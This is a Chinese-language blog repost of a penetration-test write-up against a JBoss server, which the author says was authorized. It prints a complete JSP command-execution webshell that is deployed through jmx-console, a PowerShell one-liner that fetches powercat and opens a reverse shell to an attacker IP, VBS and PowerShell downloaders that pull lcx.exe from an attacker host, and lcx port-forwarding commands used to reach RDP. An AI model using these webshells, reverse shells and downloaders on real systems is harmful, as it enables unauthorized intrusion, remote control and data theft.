记一次不完美的Jboss渗透实战

admin 2023年3月11日21:25:08评论23 views字数 3020阅读10分4秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


0x01 前言

最近做渗透测试中遇到一个jboss的站,在其中学到一些在乙方工作挺有用的技巧(这次测试是进过授权测试)在此分享一下

0x02 信息收集

先通过namp进行扫描,同时进行目录扫描,发现8080/jmx-console/,发现是jboss的站。
百度到jboss可以部署war包getshell,访问http://xxxx:8080//jmx-console/


0x03 漏洞利用

全局搜索jboss.system,点击进入
记一次不完美的Jboss渗透实战


1. 制作war包

把木马文件gg.jsp(我是一个直接执行命令代码)用压缩软件压缩为zip,然后更改后缀为war,然后将该war上传到互联网上能够访问的网站上
<%@ page contentType="text/html;charset=big5" session="false" import="java.io.*" %><html><head><title></title><meta http-equiv="Content-Type" content="text/html; charset=big5"></head><body>
<% Runtime runtime = Runtime.getRuntime(); Process process =null; String line=null; InputStream is =null; InputStreamReader isr=null; BufferedReader br =null; String ip=request.getParameter("cmd");
try
{ process =runtime.exec(ip); is = process.getInputStream(); isr=new InputStreamReader(is); br =new BufferedReader(isr); out.println("<pre>");
while( (line = br.readLine()) != null )
{ out.println(line); out.flush(); }
out.println("</pre>"); is.close(); isr.close(); br.close(); }
catch(IOException e )
{ out.println(e); runtime.exit(1); }%>
</body></html>

我这里就用 python 简单创建个ftp服务(这也是python的一个巧用)
python -m  SimpleHTTPServer 8589
记一次不完美的Jboss渗透实战
记一次不完美的Jboss渗透实战


2. 进入jboss.system页面找到如下,填入远程的war文件地址

记一次不完美的Jboss渗透实战


成功部署的界面如下
记一次不完美的Jboss渗透实战


3. 访问shell地址,并执行命令
记一次不完美的Jboss渗透实战


0x04 进一步渗透

1. 在获得jsp shell的基础上,我们需要一个真正的cmdshell,这样有利于操作,进过nmap扫描,发现是windows,我们可以通过powershell进行shell反弹
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ip -p port -e cmd
记一次不完美的Jboss渗透实战


本地监听,成功获取一个cmdshell,接下来就是提权了
记一次不完美的Jboss渗透实战


2. 在 cmd 中查看端口开放信息,3389和445都开放了,想到了永恒之蓝打一波,先看看打没打永恒之蓝的补丁,和看看系统信息,发现打了很多补丁
记一次不完美的Jboss渗透实战


可以通过如下链接查看补丁编号,查找永恒之蓝补丁编号进行比对发现该目标机器并没打补丁
https://micro8.gitbook.io/micro8/contents-1/1-10/1windows-ti-quan-kuai-su-cha-zhao-exp

记一次不完美的Jboss渗透实战

记一次不完美的Jboss渗透实战


3. 看端口扫描结果,3389过滤了,445也过滤了,只有端口转发再打了
记一次不完美的Jboss渗透实战


4. 先在shell中查看有那些任务,看看有没杀毒软件,初看没有,但后来才发现了,居然有卡巴斯基
记一次不完美的Jboss渗透实战


5. 没事就到处浏览目录查看内容(发现google账号密码居然记录在txt文件中),发现任何目录都能浏览和看信息,就怀疑这个用户的权限。

赶紧看了哈…居然是 administrator 组的,那提权就不用了涩,但还是想3389连进去

记一次不完美的Jboss渗透实战


6. 打算用vbs下载一个lcx或者EarthWorm进行端口转发,vbs下载代码,一般下载在C:WindowsTemp可读目录下,vbs下载代码
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbsecho Set Shell = CreateObject("Wscript.Shell") >>download.vbsecho Post.Open "GET","http://ip/lcxx/lcx.exe",0 >>download.vbsecho Post.Send() >>download.vbsecho Set aGet = CreateObject("ADODB.Stream") >>download.vbsecho aGet.Mode = 3 >>download.vbsecho aGet.Type = 1 >>download.vbsecho aGet.Open() >>download.vbsecho aGet.Write(Post.responseBody) >>download.vbsecho aGet.SaveToFile "C:WindowsTemp2.txt",2 >>download.vbs

powershell 下载代码
powershell (new-object System.Net.WebClient).DownloadFile( 'http://ip:7667/lcxx/lcx.exe','C:WindowsTemp2.txt')

7. 当自己写进去了后,更名为exe执行的时候,被杀了,最后又看了下任务,才发现卡巴斯基,然后就一直被卡在这里


8. lcx命令如下

//被攻击机器lcx -slave 自己外网ip 51 内网ip 3389
//攻击机器lcx.exe -listen 51 9090


由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口透传到防火墙允许的其他端口,如53端口.

lcx -tran 53 目标主机ip 3389

0x05 总结

虽然暂时没有成功,但从中还是学到许多渗透知识,也明白了实战能提高许多技术。不足就是知识不够,还需努力。

文章来源:先知社区(whoamiaa)原文地址:https://xz.aliyun.com/t/5326


关 注 有 礼



关注公众号回复“9527”可以领取一套HTB靶场文档和视频1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包2191潇湘信安文章打包,“1212”杀软对比源码+数据源,0421Windows提权工具包
记一次不完美的Jboss渗透实战 还在等什么?赶紧点击下方名片关注学习吧!记一次不完美的Jboss渗透实战

推 荐 阅 读




记一次不完美的Jboss渗透实战
记一次不完美的Jboss渗透实战
记一次不完美的Jboss渗透实战

记一次不完美的Jboss渗透实战

原文始发于微信公众号(潇湘信安):记一次不完美的Jboss渗透实战

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月11日21:25:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次不完美的Jboss渗透实战https://cn-sec.com/archives/1599051.html

发表评论

匿名网友 填写信息